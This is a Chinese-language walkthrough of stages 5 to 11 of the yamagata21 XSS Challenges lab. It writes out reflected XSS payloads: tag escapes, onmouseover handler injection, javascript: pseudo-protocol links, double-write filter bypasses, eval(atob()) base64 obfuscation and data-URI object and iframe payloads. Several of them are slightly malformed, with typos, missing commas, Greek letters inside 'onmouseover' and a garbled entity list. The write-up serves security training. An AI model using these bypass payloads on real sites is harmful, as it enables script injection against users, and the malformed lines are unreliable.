直接开始打靶场
XSS Challenges (by yamagata21) - Stage #5
该靶场是一个日本安全人员研究的靶场
首先随便输入点东西抓个包看看
发现了一个可控参数p1
p1就是我可控的参数
完成传输参数之后代码是这个
############
在这里说一下基本的思路
1."> 逃逸出input标签,插入js代码执行js代码
2." 逃逸出value属性,插入时间,通过触发事件执行js代码
现在我们来测试一下
输入">name
我们可以很明显的看见,我们输入的内容已经逃逸出了input框
再看下代码确实是这样的
那么我们只需要输入代码"><script>alert(document.domain);</script>
在输入框中的时候,我们发现了控制长度的属性,那么我们先修改一下
把maxlength=15改成长的就ok了
还有一种方法就是抓包了
完成这一关
下一关
XSS Challenges (by yamagata21) - Stage #6
老规矩判断直接输入">name
查看输入后的代码
<input type="text" name="p1" size="50" value="" >name"="">
很明显我的<已经被过滤了成了一个实体 >
但是我的"还是可以用的
那么就使用我们的第二个口诀
1."> 逃逸出input标签,插入js代码执行js代码
2." 逃逸出value属性,插入事件,通过触发事件执行js代码
我们构造一个value属性,插入对应的事件
所以我们构造一个属性
xss" οnmοuseοver="alert(document.domain)"
完成第六关
<input type="text" name="p1" size="50" value="xss" οnmοuseοver="alert(document.domain)" "="">
这个是我们构造的句子
第七关
老样子写入"<name查看
全部被过滤掉
<input type="text" name="p1" size="50" value=">name>
"被改成了&qout >被改成了>
在这种情况下,本来已经是不存在xss注入了,但是程序员的代码写的有问题,我们输入一个空格试试
输入xss name返回结果代码可以看到
No results for your Query. Try again: <input type="text" name="p1" size="50" value=xss name>
那么我们可以直接写入代码
xss οnmοuseοver=alert(document.doman)
好的直接进入我们的第八关
XSS Challenges (by yamagata21) - Stage #8
########
重点内容
老样子先随便输入一点东西看看反馈了什么东西
我们这里输入了name
页面反馈了 这个
尝试输入">xss
可以看到我们的代码被过滤掉了
URL: <a href="">xss">">xss</a>
像上一题一样输入一些特别字符
">name ;:xss
方法并不奏效
URL: <a href="">name ;:xss">">name ;:xss</a>
我们这里说到一个伪协议的使用
使用前提
1.能插入新的标签
2.回显位置在URL中
真协议:用来传输数据的协议
伪协议:
1.JavaScript:
2.php:
那么这样的话我们很好理解,使用伪协议然后触发伪协议的事件
JavaScript:alert(document.domain);
这个是本节课的重点
##############
下一关靶场10
直接讲方法
我们输入了"<script>alert(document.domain);</script>
可以看到返回的结果是
No results for your Query. Try again: <input type="text" name="p1" size="50" value=""<script>alert(document.);</script>
方法一
注意观察只有domain被过滤掉了那么这种情况下,我们需要利用到我们SQL注入一个方法绕过这个waf
我们使用双写的方法绕过,他会吧domain换成空,那么我们写dodomainmian,让他过滤掉domain之后会自动补齐一个domain即可完成绕过
方法二
base64编码
将alert(document.domain);
编码成
YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs=
但是服务器无法识别base64编码
那么我们需要一个JavaScript中一个一个函数,atob函数,他可以将base64解码
那么问题又来了,如何去执行这个解码过后的函数呢
我们需要一个JavaScript中的函数,eval函数,他可以执行()中的语句
拼接代码即可完成
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs="))
再次拼接代码
"><script>eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs="))</script>
###########
十一关
思路两种
1.不使用script标签, 不使用事件 不使用style
2.伪协议绕过 JavaScript
在十一关中JavaScript标签会被过滤成Javaxcript
方法一不使用JavaScript标签,把JavaScript标签替换成base64编码
###########
提供两种
'> <object data="data:text/html;base64PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+"></object>
<iframe src="data:text/html;base64PHNjcmlwdD5hbGVydCgieHNzlik8L3NjcmlwdD4="> </iframe>
方法二绕过waf过滤
一些常见的字符
实体名称
 : 空格
<

 回车
实体编号
空格 %#09;
把这些加入在关键词中即可绕过关键词